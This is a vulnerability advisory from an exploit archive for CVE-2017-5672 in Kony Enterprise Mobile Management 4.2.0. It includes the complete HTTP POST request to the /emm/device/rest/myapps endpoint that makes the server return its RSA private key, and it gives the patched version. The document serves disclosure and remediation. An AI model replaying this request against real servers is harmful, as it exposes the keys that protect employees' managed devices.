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Kony EMM 4.2.0 Private Key Disclosure

Kony EMM 4.2.0 Private Key Disclosure
Posted Apr 3, 2017
Authored by Ayman Almajid

Kony Enterprise Mobile Management version 4.2.0 suffers from a private key disclosure vulnerability.

tags | exploit
advisories | CVE-2017-5672
MD5 | 0979b4ece6aefdbb3ecad6e94c60cb73

Kony EMM 4.2.0 Private Key Disclosure

Change Mirror Download
------------------------------------------------------------------------

Product: Enterprise Mobile Management
Vendor: Kony
Vulnerable Version(s): Kony EMM 4.2.0 and probably older versions
Tested Version: Kony EMM 4.2.0
Advisory Publication: 20 March 2017
Vendor Notification: 29 Jan 2017
Vulnerability Type: Private Key Disclosure
CVE Reference: CVE-2017-5672
Risk Level: Medium
Status: Solution is released Kony EMM 4.2.5.2
Discovered and Provided: Ayman Almajid
------------------------------------------------------------------------

About the vendor:
Kony EMM is a mobile management suite that allows organizations to manage employee's personal devices. It enables users to use their own device, or as often called BYOD or "bring your own device".

About the vulnerability:
During a pentest we discovered that a logged in user can manipulate the HTTP request and cause the EMM server to send the RSA private key which is used to decrypt the device.

By submitting the below HTTP request, the private key will be received on the response:

POST /emm/device/rest/myapps HTTP/1.1
Accept-Encoding: gzip
adke: 1
devicemodel: <device_model>
devicename: android
osversion: <os_version>
Content-Type: application/x-www-form-urlencoded
platformid: ANDROID
lv: 1.0.0.7
deviceid: <device_id>
Accept: application/json
Accept-Language: en
Content-Length: 65
Host: <host>
Connection: close
User-Agent: <user_agent>
Expect: 100-continue
Cookie: <cookies>

platformid=ANDROID&afw1000=true&enc=true&afw1001=false&isEMM=true


-----------------------

Solution:

Upgrade to Kony EMM 4.2.5.2

References:

[1] help AG middle East http://www.helpag.com
[2] Kony https://kony.com

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